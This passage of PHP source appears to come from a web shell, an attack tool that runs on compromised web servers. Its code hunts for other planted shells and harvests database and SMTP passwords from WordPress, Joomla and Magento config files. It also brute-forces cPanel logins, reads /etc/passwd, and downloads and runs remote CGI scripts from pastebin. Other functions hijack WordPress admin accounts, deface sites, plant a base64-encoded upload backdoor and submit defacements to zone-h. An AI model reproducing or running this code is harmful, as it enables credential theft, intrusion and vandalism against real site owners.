  1548. "/cpanel","/awstats","/site.sql","/vb.sql","/forum.sql","/backup.sql","/back.sql","/data.sql","wp.rar/",
  1549. "wp-content/plugins/disqus-comment-system/disqus.php","asp.aspx","/templates/beez/index.php","tmp/vaga.php",
  1550. "tmp/killer.php","whmcs.php","tmp/killer.php","tmp/domaine.pl","tmp/domaine.php","useradmin/",
  1551. "tmp/d0maine.php","d0maine.php","tmp/sql.php","tmp/dz1.php","dz1.php","forum.zip","Symlink.php","Symlink.pl",
  1552. "forum.rar","joomla.zip","joomla.rar","wp.php","buck.sql","sysadmin.php","images/c99.php", "xd.php", "c100.php",
  1553. "spy.aspx","xd.php","tmp/xd.php","sym/root/home/","billing/killer.php","tmp/upload.php","tmp/admin.php",
  1554. "Server.php","tmp/uploads.php","tmp/up.php","Server/","wp-admin/c99.php","tmp/priv8.php","priv8.php","cgi.pl/",
  1555. "tmp/cgi.pl","downloads/dom.php","templates/ja-helio-farsi/index.php","webadmin.html","admins.php",
  1556. "/wp-content/plugins/count-per-day/js/yc/d00.php", "admins/","admins.asp","admins.php","wp.zip","wso2.5.1","pasir.php","pasir2.php","up.php","cok.php","newfile.php","upl.php",".php","a.php","crot.php","kontol.php","hmei7.php","jembut.php","memek.php","tai.php","rabit.php","indoxploit.php","a.php","hemb.php","hack.php","galau.php","HsH.php","indoXploit.php","asu.php","wso.php","lol.php","idx.php","rabbit.php","1n73ction.php","k.php","mailer.php","mail.php","temp.php","c.php","d.php","IDB.php","indo.php","indonesia.php","semvak.php","ndasmu.php","cox.php","as.php","ad.php","aa.php","file.php","peju.php","asd.php","configs.php","ass.php","z.php");
  1557. foreach ($shells as $shell){
  1558. $headers = get_headers("$url$shell"); //
  1559. if (eregi('200', $headers[0])) {
  1560. echo "<a href='$url$shell'>$url$shell</a> <span class='found'>Done :D</span><br /><br/><br/>"; //
  1561. $dz = fopen('shells.txt', 'a+');
  1562. $suck = "$url$shell";
  1563. fwrite($dz, $suck."\n");
  1564. }
  1565. }
  1566. echo "Shell [ <a href='./shells.txt' target='_blank'>shells.txt</a> ]</span>";
  1567. }
  1568.    
  1569. }
  1570.  elseif($_GET['do'] == 'cpanel') {
  1571.     if($_POST['crack']) {
  1572.         $usercp = explode("\r\n", $_POST['user_cp']);
  1573.         $passcp = explode("\r\n", $_POST['pass_cp']);
  1574.         $i = 0;
  1575.         foreach($usercp as $ucp) {
  1576.             foreach($passcp as $pcp) {
  1577.                 if(@mysql_connect('localhost', $ucp, $pcp)) {
  1578.                     if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  1579.                     } else {
  1580.                         $_SESSION[$ucp] = "1";
  1581.                         $_SESSION[$pcp] = "1";
  1582.                         $i++;
  1583.                         echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  1584.                     }
  1585.                 }
  1586.             }
  1587.         }
  1588.         if($i == 0) {
  1589.         } else {
  1590.             echo "<br>Nemu ".$i." Cpanel by <font color=lime>JanCox</font>";
  1591.         }
  1592.     } else {
  1593.         echo "<center>
  1594.         <form method='post'>
  1595.         USER: <br>
  1596.         <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  1597.         $_usercp = fopen("/etc/passwd","r");
  1598.         while($getu = fgets($_usercp)) {
  1599.             if($getu == '' || !$_usercp) {
  1600.                 echo "<font color=red>Can't read /etc/passwd</font>";
  1601.             } else {
  1602.                 preg_match_all("/(.*?):x:/", $getu, $u);
  1603.                 foreach($u[1] as $user_cp) {
  1604.                         if(is_dir("/home/$user_cp/public_html")) {
  1605.                             echo "$user_cp\n";
  1606.                     }
  1607.                 }
  1608.             }
  1609.         }
  1610.         echo "</textarea><br>
  1611.         PASS: <br>
  1612.         <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  1613.         function cp_pass($dir) {
  1614.             $pass = "";
  1615.             $dira = scandir($dir);
  1616.             foreach($dira as $dirb) {
  1617.                 if(!is_file("$dir/$dirb")) continue;
  1618.                 $ambil = file_get_contents("$dir/$dirb");
  1619.                 if(preg_match("/WordPress/", $ambil)) {
  1620.                     $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  1621.                 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  1622.                     $pass .= ambilkata($ambil,"password = '","'")."\n";
  1623.                 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  1624.                     $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  1625.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  1626.                     $pass .= ambilkata($ambil,'password = "','"')."\n";
  1627.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  1628.                     $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  1629.                 } elseif(preg_match("/client/", $ambil)) {
  1630.                     preg_match("/password=(.*)/", $ambil, $pass1);
  1631.                     if(preg_match('/"/', $pass1[1])) {
  1632.                         $pass1[1] = str_replace('"', "", $pass1[1]);
  1633.                         $pass .= $pass1[1]."\n";
  1634.                     }
  1635.                 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  1636.                     $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  1637.                 }
  1638.             }
  1639.             echo $pass;
  1640.         }
  1641.         $cp_pass = cp_pass($dir);
  1642.         echo $cp_pass;
  1643.         echo "</textarea><br>
  1644.         <input type='submit' name='crack' style='width: 450px;' value='Crack'>
  1645.         </form>
  1646.         <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  1647.     }
  1648. } elseif($_GET['do'] == 'smtp') {
  1649.     echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
  1650.     function scj($dir) {
  1651.         $dira = scandir($dir);
  1652.         foreach($dira as $dirb) {
  1653.             if(!is_file("$dir/$dirb")) continue;
  1654.             $ambil = file_get_contents("$dir/$dirb");
  1655.             $ambil = str_replace("$", "", $ambil);
  1656.             if(preg_match("/JConfig|joomla/", $ambil)) {
  1657.                 $smtp_host = ambilkata($ambil,"smtphost = '","'");
  1658.                 $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
  1659.                 $smtp_user = ambilkata($ambil,"smtpuser = '","'");
  1660.                 $smtp_pass = ambilkata($ambil,"smtppass = '","'");
  1661.                 $smtp_port = ambilkata($ambil,"smtpport = '","'");
  1662.                 $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
  1663.                 echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
  1664.                 echo "SMTP port: <font color=lime>$smtp_port</font><br>";
  1665.                 echo "SMTP user: <font color=lime>$smtp_user</font><br>";
  1666.                 echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
  1667.                 echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
  1668.                 echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>";
  1669.             }
  1670.         }
  1671.     }
  1672.     $smpt_hunter = scj($dir);
  1673.     echo $smpt_hunter;
  1674. } elseif($_GET['do'] == 'auto_wp') {
  1675.     if($_POST['hajar']) {
  1676.         $title = htmlspecialchars($_POST['new_title']);
  1677.         $pn_title = str_replace(" ", "-", $title);
  1678.         if($_POST['cek_edit'] == "Y") {
  1679.             $script = $_POST['edit_content'];
  1680.         } else {
  1681.             $script = $title;
  1682.         }
  1683.         $conf = $_POST['config_dir'];
  1684.         $scan_conf = scandir($conf);
  1685.         foreach($scan_conf as $file_conf) {
  1686.             if(!is_file("$conf/$file_conf")) continue;
  1687.             $config = file_get_contents("$conf/$file_conf");
  1688.             if(preg_match("/WordPress/", $config)) {
  1689.                 $dbhost = ambilkata($config,"DB_HOST', '","'");
  1690.                 $dbuser = ambilkata($config,"DB_USER', '","'");
  1691.                 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1692.                 $dbname = ambilkata($config,"DB_NAME', '","'");
  1693.                 $dbprefix = ambilkata($config,"table_prefix  = '","'");
  1694.                 $prefix = $dbprefix."posts";
  1695.                 $option = $dbprefix."options";
  1696.                 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1697.                 $db = mysql_select_db($dbname);
  1698.                 $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
  1699.                 $result = mysql_fetch_array($q);
  1700.                 $id = $result[ID];
  1701.                 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1702.                 $result2 = mysql_fetch_array($q2);
  1703.                 $target = $result2[option_value];
  1704.                 $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
  1705.                 $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
  1706.                 echo "<div style='margin: 5px auto;'>";
  1707.                 if($target == '') {
  1708.                     echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
  1709.                 } else {
  1710.                     echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
  1711.                 }
  1712.                 if(!$update OR !$conn OR !$db) {
  1713.                     echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
  1714.                 } else {
  1715.                     echo "<font color=lime>sukses di ganti.</font><br>";
  1716.                 }
  1717.                 echo "</div>";
  1718.                 mysql_close($conn);
  1719.             }
  1720.         }
  1721.     } else {
  1722.         echo "<center>
  1723.         <h1>Auto Edit Title+Content WordPress</h1>
  1724.         <form method='post'>
  1725.         DIR Config: <br>
  1726.         <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  1727.         Set Title: <br>
  1728.         <input type='text' name='new_title' value='Hacked By 0x1999' placeholder='New Title'><br><br>
  1729.         Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
  1730.         <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
  1731.         <textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
  1732.         <input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
  1733.         </form>
  1734.         <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  1735.         ";
  1736.     }
  1737. } elseif($_GET['do'] == 'zoneh') {
  1738.     if($_POST['submit']) {
  1739.         $domain = explode("\r\n", $_POST['url']);
  1740.         $nick =  $_POST['nick'];
  1741.         echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  1742.         echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  1743.         function zoneh($url,$nick) {
  1744.             $ch = curl_init("http://www.zone-h.com/notify/single");
  1745.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1746.                   curl_setopt($ch, CURLOPT_POST, true);
  1747.                   curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  1748.             return curl_exec($ch);
  1749.                   curl_close($ch);
  1750.         }
  1751.         foreach($domain as $url) {
  1752.             $zoneh = zoneh($url,$nick);
  1753.             if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  1754.                 echo "$url -> <font color=lime>OK</font><br>";
  1755.             } else {
  1756.                 echo "$url -> <font color=red>ERROR</font><br>";
  1757.             }
  1758.         }
  1759.     } else {
  1760.         echo "<center><form method='post'>
  1761.         <u>Defacer</u>: <br>
  1762.         <input type='text' name='nick' size='50' value'Achon666ju5t'><br>
  1763.         <u>Domains</u>: <br>
  1764.         <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  1765.         <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  1766.         </form>";
  1767.     }
  1768.     echo "</center>";
  1769. }elseif($_GET['do'] == 'lcf') {
  1770.     mkdir('LCF',0755);
  1771. chdir('LCF');
  1772. $kokdosya = ".htaccess";
  1773. $dosya_adi = "$kokdosya";
  1774. $dosya = fopen ($dosya_adi , 'w') or die ("Error mas broo!!!");
  1775. $metin = "OPTIONS Indexes Includes ExecCGI FollowSymLinks   \n AddType application/x-httpd-cgi .pl \n AddHandler cgi-script .pl \n AddHandler cgi-script .pl
  1776. \n \n Options \n DirectoryIndex seees.html \n RemoveHandler .php \n AddType application/octet-stream .php";
  1777. fwrite ( $dosya , $metin ) ;
  1778.  fclose ($dosya);
  1779. $file = fopen("lcf.pl","w+");
  1780. $write = fwrite ($file ,file_get_contents("http://pastebin.com/raw/26jAL0sz"));
  1781. fclose($file);
  1782. chmod("lcf.pl",0755);
  1783. echo "<iframe src=LCF/lcf.pl width=97% height=100% frameborder=0></iframe>";
  1784. }
  1785.  elseif($_GET['do'] == 'cgi') {
  1786.     $cgi_dir = mkdir('idx_cgi', 0755);
  1787.     $file_cgi = "idx_cgi/cgi.izo";
  1788.     $isi_htcgi = "AddHandler cgi-script .izo";
  1789.     $htcgi = fopen(".htaccess", "w");
  1790.     $cgi_script = file_get_contents("http://pastebin.com/raw.php?i=XTUFfJLg");
  1791.     $cgi = fopen($file_cgi, "w");
  1792.     fwrite($cgi, $cgi_script);
  1793.     fwrite($htcgi, $isi_htcgi);
  1794.     chmod($file_cgi, 0755);
  1795.     echo "<iframe src='idx_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
  1796. } elseif($_GET['do'] == 'fake_root') {
  1797.     ob_start();
  1798.     function reverse($url) {
  1799.         $ch = curl_init("http://domains.yougetsignal.com/domains.php");
  1800.               curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  1801.               curl_setopt($ch, CURLOPT_POSTFIELDS,  "remoteAddress=$url&ket=");
  1802.               curl_setopt($ch, CURLOPT_HEADER, 0);
  1803.               curl_setopt($ch, CURLOPT_POST, 1);
  1804.         $resp = curl_exec($ch);
  1805.         $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",",  str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  1806.         $array = explode(",,", $resp);
  1807.         unset($array[0]);
  1808.         foreach($array as $lnk) {
  1809.             $lnk = "http://$lnk";
  1810.             $lnk = str_replace(",", "", $lnk);
  1811.             echo $lnk."\n";
  1812.             ob_flush();
  1813.             flush();
  1814.         }
  1815.               curl_close($ch);
  1816.     }
  1817.     function cek($url) {
  1818.         $ch = curl_init($url);
  1819.               curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  1820.               curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  1821.         $resp = curl_exec($ch);
  1822.         return $resp;
  1823.     }
  1824.     $cwd = getcwd();
  1825.     $ambil_user = explode("/", $cwd);
  1826.     $user = $ambil_user[2];
  1827.     if($_POST['reverse']) {
  1828.         $site = explode("\r\n", $_POST['url']);
  1829.         $file = $_POST['file'];
  1830.         foreach($site as $url) {
  1831.             $cek = cek("$url/~$user/$file");
  1832.             if(preg_match("/hacked/i", $cek)) {
  1833.                 echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
  1834.             }
  1835.         }
  1836.     } else {
  1837.         echo "<center><form method='post'>
  1838.         Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
  1839.         User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
  1840.         Domain: <br>
  1841.         <textarea style='width: 450px; height: 250px;' name='url'>";
  1842.         reverse($_SERVER['HTTP_HOST']);
  1843.         echo "</textarea><br>
  1844.         <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
  1845.         </form><br>
  1846.         NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
  1847.     }
  1848. } elseif($_GET['do'] == 'adminer') {
  1849.     $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  1850.     function adminer($url, $isi) {
  1851.         $fp = fopen($isi, "w");
  1852.         $ch = curl_init();
  1853.               curl_setopt($ch, CURLOPT_URL, $url);
  1854.               curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  1855.               curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1856.               curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  1857.               curl_setopt($ch, CURLOPT_FILE, $fp);
  1858.         return curl_exec($ch);
  1859.               curl_close($ch);
  1860.         fclose($fp);
  1861.         ob_flush();
  1862.         flush();
  1863.     }
  1864.     if(file_exists('adminer.php')) {
  1865.         echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  1866.     } else {
  1867.         if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
  1868.             echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  1869.         } else {
  1870.             echo "<center><font color=red>gagal buat file adminer</font></center>";
  1871.         }
  1872.     }
  1873. }elseif($_GET['do'] == 'passwbypass') {
  1874.     echo '<center>Bypass etc/passw With:<br>
  1875. <table style="width:50%">
  1876.  <tr>
  1877.    <td><form method="post"><input type="submit" value="System Function" name="syst"></form></td>
  1878.    <td><form method="post"><input type="submit" value="Passthru Function" name="passth"></form></td>
  1879.     <td><form method="post"><input type="submit" value="Exec Function" name="ex"></form></td>  
  1880.     <td><form method="post"><input type="submit" value="Shell_exec Function" name="shex"></form></td>      
  1881.    <td><form method="post"><input type="submit" value="Posix_getpwuid Function" name="melex"></form></td>
  1882. </tr></table>Bypass User With : <table style="width:50%">
  1883. <tr>
  1884.    <td><form method="post"><input type="submit" value="Awk Program" name="awkuser"></form></td>
  1885.    <td><form method="post"><input type="submit" value="System Function" name="systuser"></form></td>
  1886.     <td><form method="post"><input type="submit" value="Passthru Function" name="passthuser"></form></td>  
  1887.     <td><form method="post"><input type="submit" value="Exec Function" name="exuser"></form></td>      
  1888.    <td><form method="post"><input type="submit" value="Shell_exec Function" name="shexuser"></form></td>
  1889. </tr>
  1890. </table><br>';
  1891.  
  1892.  
  1893. if ($_POST['awkuser']) {
  1894. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1895. echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
  1896. echo "</textarea><br>";
  1897. }
  1898. if ($_POST['systuser']) {
  1899. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1900. echo system("ls /var/mail");
  1901. echo "</textarea><br>";
  1902. }
  1903. if ($_POST['passthuser']) {
  1904. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1905. echo passthru("ls /var/mail");
  1906. echo "</textarea><br>";
  1907. }
  1908. if ($_POST['exuser']) {
  1909. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1910. echo exec("ls /var/mail");
  1911. echo "</textarea><br>";
  1912. }
  1913. if ($_POST['shexuser']) {
  1914. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1915. echo shell_exec("ls /var/mail");
  1916. echo "</textarea><br>";
  1917. }
  1918. if($_POST['syst'])
  1919. {
  1920. echo"<textarea class='inputz' cols='65' rows='15'>";
  1921. echo system("cat /etc/passwd");
  1922. echo"</textarea><br><br><b></b><br>";
  1923. }
  1924. if($_POST['passth'])
  1925. {
  1926. echo"<textarea class='inputz' cols='65' rows='15'>";
  1927. echo passthru("cat /etc/passwd");
  1928. echo"</textarea><br><br><b></b><br>";
  1929. }
  1930. if($_POST['ex'])
  1931. {
  1932. echo"<textarea class='inputz' cols='65' rows='15'>";
  1933. echo exec("cat /etc/passwd");
  1934. echo"</textarea><br><br><b></b><br>";
  1935. }
  1936. if($_POST['shex'])
  1937. {
  1938. echo"<textarea class='inputz' cols='65' rows='15'>";
  1939. echo shell_exec("cat /etc/passwd");
  1940. echo"</textarea><br><br><b></b><br>";
  1941. }
  1942. echo '<center>';
  1943. if($_POST['melex'])
  1944. {
  1945. echo"<textarea class='inputz' cols='65' rows='15'>";
  1946. for($uid=0;$uid<60000;$uid++){
  1947. $ara = posix_getpwuid($uid);
  1948. if (!empty($ara)) {
  1949. while (list ($key, $val) = each($ara)){
  1950. print "$val:";
  1951. }
  1952. print "\n";
  1953. }
  1954. }
  1955. echo"</textarea><br><br>";
  1956. }
  1957. //
  1958.  
  1959. //
  1960. } elseif($_GET['do'] == 'auto_dwp') {
  1961.     if($_POST['auto_deface_wp']) {
  1962.         function anucurl($sites) {
  1963.             $ch = curl_init($sites);
  1964.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1965.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1966.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1967.                   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  1968.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1969.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1970.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1971.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1972.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  1973.             $data = curl_exec($ch);
  1974.                   curl_close($ch);
  1975.             return $data;
  1976.         }
  1977.         function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  1978.             $post = array(
  1979.                    "log" => "$userr",
  1980.                    "pwd" => "$pass",
  1981.                    "rememberme" => "forever",
  1982.                    "wp-submit" => "$wp_submit",
  1983.                    "redirect_to" => "$web",
  1984.                    "testcookie" => "1",
  1985.                    );
  1986.             $ch = curl_init($cek);
  1987.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1988.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1989.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1990.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1991.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1992.                   curl_setopt($ch, CURLOPT_POST, 1);
  1993.                   curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  1994.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1995.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1996.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  1997.             $data = curl_exec($ch);
  1998.                   curl_close($ch);
  1999.             return $data;
  2000.         }
  2001.         $scan = $_POST['link_config'];
  2002.         $link_config = scandir($scan);
  2003.         $script = htmlspecialchars($_POST['script']);
  2004.         $user = "0x1999";
  2005.         $pass = "0x1999";
  2006.         $passx = md5($pass);
  2007.         foreach($link_config as $dir_config) {
  2008.             if(!is_file("$scan/$dir_config")) continue;
  2009.             $config = file_get_contents("$scan/$dir_config");
  2010.             if(preg_match("/WordPress/", $config)) {
  2011.                 $dbhost = ambilkata($config,"DB_HOST', '","'");
  2012.                 $dbuser = ambilkata($config,"DB_USER', '","'");
  2013.                 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  2014.                 $dbname = ambilkata($config,"DB_NAME', '","'");
  2015.                 $dbprefix = ambilkata($config,"table_prefix  = '","'");
  2016.                 $prefix = $dbprefix."users";
  2017.                 $option = $dbprefix."options";
  2018.                 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2019.                 $db = mysql_select_db($dbname);
  2020.                 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  2021.                 $result = mysql_fetch_array($q);
  2022.                 $id = $result[ID];
  2023.                 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  2024.                 $result2 = mysql_fetch_array($q2);
  2025.                 $target = $result2[option_value];
  2026.                 if($target == '') {                
  2027.                     echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  2028.                 } else {
  2029.                     echo "[+] $target <br>";
  2030.                 }
  2031.                 $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  2032.                 if(!$conn OR !$db OR !$update) {
  2033.                     echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  2034.                     mysql_close($conn);
  2035.                 } else {
  2036.                     $site = "$target/wp-login.php";
  2037.                     $site2 = "$target/wp-admin/theme-install.php?upload";
  2038.                     $b1 = anucurl($site2);
  2039.                     $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  2040.                     $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  2041.                     $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  2042.                     $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  2043.                     $www = "m.php";
  2044.                     $fp5 = fopen($www,"w");
  2045.                     fputs($fp5,$upload3);
  2046.                     $post2 = array(
  2047.                             "_wpnonce" => "$anu2",
  2048.                             "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  2049.                             "themezip" => "@$www",
  2050.                             "install-theme-submit" => "Install Now",
  2051.                             );
  2052.                     $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  2053.                           curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2054.                           curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2055.                           curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2056.                           curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2057.                           curl_setopt($ch, CURLOPT_POST, 1);
  2058.                           curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  2059.                           curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2060.                           curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2061.                           curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2062.                     $data3 = curl_exec($ch);
  2063.                           curl_close($ch);
  2064.                     $y = date("Y");
  2065.                     $m = date("m");
  2066.                     $namafile = "id.php";
  2067.                     $fpi = fopen($namafile,"w");
  2068.                     fputs($fpi,$script);
  2069.                     $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  2070.                            curl_setopt($ch6, CURLOPT_POST, true);
  2071.                            curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  2072.                            curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  2073.                            curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  2074.                            curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  2075.                            curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
  2076.                     $postResult = curl_exec($ch6);
  2077.                            curl_close($ch6);
  2078.                     $as = "$target/k.php";
  2079.                     $bs = anucurl($as);
  2080.                     if(preg_match("#$script#is", $bs)) {
  2081.                         echo "[+] <font color='lime'>berhasil mepes...</font><br>";
  2082.                         echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  2083.                         } else {
  2084.                         echo "[-] <font color='red'>gagal mepes...</font><br>";
  2085.                         echo "[!!] coba aja manual: <br>";
  2086.                         echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  2087.                         echo "[+] username: <font color=lime>$user</font><br>";
  2088.                         echo "[+] password: <font color=lime>$pass</font><br><br>";    
  2089.                         }
  2090.                     mysql_close($conn);
  2091.                 }
  2092.             }
  2093.         }
  2094.     } else {
  2095.         echo "<center><h1>WordPress Auto Deface</h1>
  2096.         <form method='post'>
  2097.         <input type='text' name='link_config' size='50' height='10' value='$dir'><br>
  2098.         <input type='text' name='script' height='10' size='50' placeholder='Hacked By 0x1999' required><br>
  2099.         <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
  2100.         </form>
  2101.         <br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>
  2102.         </center>";
  2103.     }
  2104. } elseif($_GET['do'] == 'auto_dwp2') {
  2105.     if($_POST['auto_deface_wp']) {
  2106.         function anucurl($sites) {
  2107.             $ch = curl_init($sites);
  2108.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2109.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2110.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2111.                   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  2112.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
